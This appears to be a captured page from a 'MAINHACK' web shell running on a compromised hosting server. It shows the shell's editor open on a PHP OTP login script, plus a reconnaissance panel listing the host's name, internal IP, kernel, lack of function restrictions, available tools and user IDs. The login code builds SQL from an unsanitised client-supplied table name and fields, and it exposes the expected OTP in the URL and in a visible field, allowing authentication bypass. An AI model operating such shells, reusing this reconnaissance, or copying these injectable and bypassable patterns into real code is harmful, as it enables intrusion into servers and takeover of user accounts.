[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: login_otp2.php
<?php include('header.php'); $m=base64_decode($_REQUEST['m']); $otp=base64_decode($_REQUEST['id']); $table=base64_decode($_REQUEST['tab']); $type=base64_decode($_REQUEST['type']);//echo $otp; $phn=base64_decode($_REQUEST['phn']);//echo $otp; ?> <script src="js/jquery-1.11.1.min.js"></script> <style> .foot-bg-index{ display:none; } </style> <script> function check(){ var radioValue = $("input[name='type']:checked").val(); //alert(radioValue); if(radioValue=='Email'){ $('#em').show(); $('#phn').hide(); $("#email").prop('required',true); }else if(radioValue=='Phone'){ $('#em').hide(); $('#phn').show(); $("#phone").prop('required',true); } } function checkPass() { var pass1 = document.getElementById('pass1'); var pass2 = document.getElementById('pass2'); var message = document.getElementById('error-nwl'); var goodColor = "#66cc66"; var badColor = "#ff6666"; if(pass1.value.length > 7) { message.style.color = goodColor; message.innerHTML = "character number ok!" } else { message.style.color = badColor; message.innerHTML = " you have to enter at least 8 digit!" return; } if(pass1.value == pass2.value) { message.style.color = goodColor; message.innerHTML = "ok!" document.getElementById("btn").disabled = false; } else { message.style.color = badColor; message.innerHTML = " These passwords don't match" document.getElementById("btn").disabled = true; } } </script> <!-- Login - resturant-login --> <div class="sing-up resturant-login" style=""> <div class="container"> <div class="sing-up-text" style=""> <div class="sing-up-text-bg"> <h3>Login Page <span></span></h3> <h5>Enter your OTP</h5> </div> <div class="sing-up-form" style="width: 100%;"> <form method="post" id="form" method="post" enctype="multipart/form-data" > <div class="log-input" id="b_name"> <span>OTP <b>*</b></span> <label><i class="fa fa-mobile"></i></label> <input type="password" placeholder="Enter Your OTP" name="otp_new" id="otp" required=""> <input type="text" name="otp" value="<?=$otp?>" placeholder="OTP"> <input type="hidden" name="table" value="<?=$table?>"> <input type="hidden" name="email" value="<?=$m?>"> <input type="hidden" name="phn" value="<?=$phn?>"> </div> <div style="color:red;font-weight:600"> <span id="timer"> <span id="time">60</span> Seconds </span> </div> <script> $( document ).ready(function() { var counter = 60; var interval = setInterval(function() { counter--; // Display 'counter' wherever you want to display it. if (counter <= 0) { clearInterval(interval); $('#timer').hide(); $('#resend').show(); return; }else{ $('#time').text(counter); console.log("Timer --> " + counter); } }, 1000); }); </script> <div id="resend" style="display:none"> <a href="login_otp.php?tab=<?=base64_encode($table)?>&type=<?=base64_encode($table)?>">Resend OTP</a> </div> <div class="log-input submitbox" id="b_name"> <input type="submit" class="" name="sub" id="btn" value="submit"> </div> </form> <?php $login=new Oops($db); if(isset($_POST['sub'])){ if($_POST['otp']!=$_POST['otp_new']){ echo "<script>alert('Oops !! OTP is invalid!!')</script>"; }else{ $m=filter_var($_POST['email'],FILTER_SANITIZE_STRING); $phn=filter_var($_POST['phn'],FILTER_SANITIZE_STRING); /* $login->col1="email"; $login->col2="password"; $login->table="customers"; */ $sq="select * from ".$_POST['table']." where email='".$m."' and phone='".$phn."'";//echo $sq; $r=$con->prepare($sq); //$r=$login->login(); if($r->execute()){ $num = $r->rowCount(); if($num>0){ while($row= $r->fetch(PDO::FETCH_ASSOC)) //fetching the contents of the row { extract($row); if($row['status']!="ACTIVE"){ echo "<script>sweetAlert('Oops','Your mail id is not verified.Please contact the site admin','error');</script>"; }else{ $uid=session_id(); $_SESSION['Logged'] = 1; $_SESSION['login_user'] = $row['name']; $_SESSION['username'] = $_POST['email']; $_SESSION['login_id'] = $row['customer_id']; $_SESSION['sessionid'] = $uid; $_SESSION['location']=$row['locality']; if(!empty($_REQUEST['pg'])){ $location=base64_decode($_REQUEST['pg']); header("location:add-cart.php"); }else{ header("location:index.php"); } //exit(); } } }else{ echo "<script>sweetAlert('Oops','Please give correct email/password','error');</script>"; } } } } ?> </div> </div> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.04 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619